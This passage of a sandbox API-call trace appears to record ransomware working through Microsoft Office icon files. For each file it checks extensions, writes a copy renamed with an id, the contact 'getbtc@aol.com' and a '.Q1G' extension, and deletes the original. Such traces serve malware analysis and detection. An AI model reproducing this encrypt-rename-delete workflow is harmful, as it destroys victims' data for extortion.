lpString2=".ICO") returned 1 [0261.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.873] lstrlenW (lpString=".zip") returned 4 [0261.873] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.873] lstrlenW (lpString=".rar") returned 4 [0261.873] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.873] lstrlenW (lpString=".bz2") returned 4 [0261.873] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.873] lstrlenW (lpString=".7z") returned 3 [0261.873] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.873] lstrlenW (lpString=".dbf") returned 4 [0261.873] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.873] lstrlenW (lpString=".1cd") returned 4 [0261.873] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.873] lstrlenW (lpString=".jpg") returned 4 [0261.873] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.874] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.874] lstrlenW (lpString="DOCS.ICO") returned 8 [0261.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.874] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2998) returned 1 [0261.874] CloseHandle (hObject=0x1bc) returned 1 [0261.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico")) returned 0x20 [0261.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.875] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.875] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.875] GetLastError () returned 0x0 [0261.875] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0261.900] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0261.901] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.901] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0261.901] SetEndOfFile (hFile=0x3d8) returned 1 [0261.901] CloseHandle (hObject=0x3d8) returned 1 [0261.901] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.902] SetEndOfFile (hFile=0x1bc) returned 1 [0261.903] CloseHandle (hObject=0x1bc) returned 1 [0261.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico")) returned 1 [0261.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.904] lstrlenW (lpString=".doc") returned 4 [0261.904] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.904] lstrlenW (lpString=".docx") returned 5 [0261.904] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.905] lstrlenW (lpString=".pdf") returned 4 [0261.905] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.905] lstrlenW (lpString=".xls") returned 4 [0261.905] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.905] lstrlenW (lpString=".xlsx") returned 5 [0261.905] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.905] lstrlenW (lpString=".ppt") returned 4 [0261.905] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.905] lstrlenW (lpString=".zip") returned 4 [0261.905] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.905] lstrlenW (lpString=".rar") returned 4 [0261.905] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.905] lstrlenW (lpString=".bz2") returned 4 [0261.905] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.905] lstrlenW (lpString=".7z") returned 3 [0261.905] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.905] lstrlenW (lpString=".dbf") returned 4 [0261.905] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.905] lstrlenW (lpString=".1cd") returned 4 [0261.905] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.905] lstrlenW (lpString=".jpg") returned 4 [0261.905] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.905] lstrlenW (lpString=".doc") returned 4 [0261.905] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.905] lstrlenW (lpString=".docx") returned 5 [0261.905] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.905] lstrlenW (lpString=".pdf") returned 4 [0261.905] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.905] lstrlenW (lpString=".xls") returned 4 [0261.905] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.906] lstrlenW (lpString=".xlsx") returned 5 [0261.906] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.906] lstrlenW (lpString=".ppt") returned 4 [0261.906] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.906] lstrlenW (lpString=".zip") returned 4 [0261.906] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.906] lstrlenW (lpString=".rar") returned 4 [0261.906] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.906] lstrlenW (lpString=".bz2") returned 4 [0261.906] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.906] lstrlenW (lpString=".7z") returned 3 [0261.906] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.906] lstrlenW (lpString=".dbf") returned 4 [0261.906] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.906] lstrlenW (lpString=".1cd") returned 4 [0261.906] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0261.906] lstrlenW (lpString=".jpg") returned 4 [0261.906] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.906] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.906] lstrlenW (lpString="EXITEML.ICO") returned 11 [0261.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.907] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1078) returned 1 [0261.907] CloseHandle (hObject=0x1bc) returned 1 [0261.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico")) returned 0x20 [0261.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.907] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.907] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.908] GetLastError () returned 0x0 [0261.908] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x436, lpOverlapped=0x0) returned 1 [0262.183] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.184] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.184] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0262.184] SetEndOfFile (hFile=0x3d8) returned 1 [0262.184] CloseHandle (hObject=0x3d8) returned 1 [0262.184] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.184] SetEndOfFile (hFile=0x1bc) returned 1 [0262.186] CloseHandle (hObject=0x1bc) returned 1 [0262.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico")) returned 1 [0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.385] lstrlenW (lpString=".doc") returned 4 [0262.385] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.385] lstrlenW (lpString=".docx") returned 5 [0262.385] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.385] lstrlenW (lpString=".pdf") returned 4 [0262.385] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.385] lstrlenW (lpString=".xls") returned 4 [0262.385] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.385] lstrlenW (lpString=".xlsx") returned 5 [0262.385] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.385] lstrlenW (lpString=".ppt") returned 4 [0262.385] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.385] lstrlenW (lpString=".zip") returned 4 [0262.385] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.385] lstrlenW (lpString=".rar") returned 4 [0262.385] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.385] lstrlenW (lpString=".bz2") returned 4 [0262.385] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.385] lstrlenW (lpString=".7z") returned 3 [0262.385] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.385] lstrlenW (lpString=".dbf") returned 4 [0262.385] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.385] lstrlenW (lpString=".1cd") returned 4 [0262.385] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.385] lstrlenW (lpString=".jpg") returned 4 [0262.385] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.386] lstrlenW (lpString=".doc") returned 4 [0262.386] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.386] lstrlenW (lpString=".docx") returned 5 [0262.386] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0262.386] lstrlenW (lpString=".pdf") returned 4 [0262.386] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.386] lstrlenW (lpString=".xls") returned 4 [0262.386] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.386] lstrlenW (lpString=".xlsx") returned 5 [0262.386] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0262.386] lstrlenW (lpString=".ppt") returned 4 [0262.386] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.386] lstrlenW (lpString=".zip") returned 4 [0262.386] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.386] lstrlenW (lpString=".rar") returned 4 [0262.386] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.386] lstrlenW (lpString=".bz2") returned 4 [0262.386] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.386] lstrlenW (lpString=".7z") returned 3 [0262.386] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.386] lstrlenW (lpString=".dbf") returned 4 [0262.386] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.386] lstrlenW (lpString=".1cd") returned 4 [0262.386] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO") returned 65 [0262.386] lstrlenW (lpString=".jpg") returned 4 [0262.386] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.387] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.387] lstrlenW (lpString="NOTES.ICO") returned 9 [0262.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.387] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2998) returned 1 [0262.387] CloseHandle (hObject=0x3a0) returned 1 [0262.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico")) returned 0x20 [0262.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.388] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.388] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.388] GetLastError () returned 0x0 [0262.388] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0262.456] WriteFile (in: hFile=0x388, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0262.457] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0262.457] WriteFile (in: hFile=0x388, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0262.458] SetEndOfFile (hFile=0x388) returned 1 [0262.458] CloseHandle (hObject=0x388) returned 1 [0262.458] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0262.458] SetEndOfFile (hFile=0x3a0) returned 1 [0262.460] CloseHandle (hObject=0x3a0) returned 1 [0262.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\notes.ico")) returned 1 [0262.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.461] lstrlenW (lpString=".doc") returned 4 [0262.461] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.461] lstrlenW (lpString=".docx") returned 5 [0262.462] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.462] lstrlenW (lpString=".pdf") returned 4 [0262.462] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.462] lstrlenW (lpString=".xls") returned 4 [0262.462] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.462] lstrlenW (lpString=".xlsx") returned 5 [0262.462] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.462] lstrlenW (lpString=".ppt") returned 4 [0262.462] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.462] lstrlenW (lpString=".zip") returned 4 [0262.462] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.462] lstrlenW (lpString=".rar") returned 4 [0262.462] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.462] lstrlenW (lpString=".bz2") returned 4 [0262.462] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.462] lstrlenW (lpString=".7z") returned 3 [0262.462] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.462] lstrlenW (lpString=".dbf") returned 4 [0262.462] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0262.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.462] lstrlenW (lpString=".1cd") returned 4 [0262.462] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0262.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.462] lstrlenW (lpString=".jpg") returned 4 [0262.462] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0262.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.462] lstrlenW (lpString=".doc") returned 4 [0262.462] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0262.462] lstrlenW (lpString=".docx") returned 5 [0262.462] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0262.462] lstrlenW (lpString=".pdf") returned 4 [0262.462] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0262.463] lstrlenW (lpString=".xls") returned 4 [0262.463] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0262.463] lstrlenW (lpString=".xlsx") returned 5 [0262.463] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0262.463] lstrlenW (lpString=".ppt") returned 4 [0262.463] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0262.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.463] lstrlenW (lpString=".zip") returned 4 [0262.463] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0262.463] lstrlenW (lpString=".rar") returned 4 [0262.463] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0262.463] lstrlenW (lpString=".bz2") returned 4 [0262.463] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0262.463] lstrlenW (lpString=".7z") returned 3 [0262.463] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0262.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\NOTES.ICO") returned 63 [0262.463] lstrlenW (lpString=".dbf") returned 4 [0262.463] lstrcmpiW 